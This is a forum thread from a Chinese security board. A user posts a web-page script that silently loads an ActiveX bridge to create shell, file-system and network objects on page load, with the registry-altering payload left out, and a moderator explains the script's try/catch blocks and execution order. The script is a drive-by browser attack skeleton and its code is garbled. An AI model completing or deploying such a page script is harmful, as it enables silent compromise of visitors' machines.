论坛: 编程破解 标题: 请286过来帮忙一下,谢谢拉 复制本贴地址    
作者: huarongdao [huarongdao]    论坛用户   登录
这是一个网页调用activeX的代码

1  为什么这里会是一个applets[0]数组呢,a1怎么可以与三个对象联系了,并且建立了三个对象?
   改注册表没必要建立 fso,net 对象吧?
2  函数try是什么功能?
3  函数catch(e)好象没什么用吧?
4  这个脚本是从 init()开始执行的吧?   

这几个问题困惑了我好久,请286指教!
我也找不到什么书来看这些问题,特别是这个调用applet,activex什么的,
,能不能介绍几本书看一下,谢谢拉

________________________________________________________________

<script language="javascript">
document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>")
function f(){//activex.initialization                 \\function f()在这儿
a1=document.applets[0];
a1.setclsid("{F935DC22-1CF0-11C0-ADB9-00C04FD58A0B}");\\建立一个WINDOWS宿主对象
a1.createinstance();
sh1=a1.getobject();
a1.setclsid("{0D43FE01-F093-11CF-8940-00A0C9054228}"); \\建立一个文件系统对象
a1.createinstance();
fso=a1.getobject();
a1.setclsid("F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); \\建立一个WINDOWS脚本主机网络连接对象)
a1.createinstance();
net=a1.getobject();
try

if(document.cookie.indexof("chg")==-1
{
_____________________________________________________________
//改写注册表
     省略
//注册表修改结束
____________________________________________________________
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()                  \\function init()  函数 在这儿
{
settimeout("f()",1000);
}
init();                          \\init()函数在这儿
</script>

地主 发表时间: 05/18 22:16

回复: 286 [unique]   版主   登录
不好意思,我没有专门用javascript开发过程序,所以我的理解不一定正确,你斟情参考。

1  为什么这里会是一个applets[0]数组呢,a1怎么可以与三个对象联系了,并且建立了三个对象?
   改注册表没必要建立 fso,net 对象吧?
在这里,a1是作为临时变量出现的。它先建立一个对象,然后把该值赋给了sh1,然后再建,依次赋给fso,net两个对象。并不是与三个对象联系,程序执行完时,应该与net相等。fso,net,sh1只是他用来记忆对象的名子,你可以换个你认为合适的名子。
至于applets,我想与上下文有关。

2  函数try是什么功能?
3  函数catch(e)好象没什么用吧?
try 和catch(e)是配套使用的。它是用来调试用的,你可以到C/C++,Java语言书中找找。具体使用方法是, 系统自动分析try{....}中的语句,如果出错,就到catch(e)里,把错误代码传给e,然后在e里找相应的处理语句。

4  这个脚本是从 init()开始执行的吧?
一个页的角本执行应该是<body onload="本页最先执行的函数">,你看看你的网页有没有这样一句。
但在该页<script>...</script>中,前面几个函数都是定义,而init();是调用,所以对于该<script>...</script>,init()是要执行的,但不是本页最先执行的。



B1层 发表时间: 05/19 08:47

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号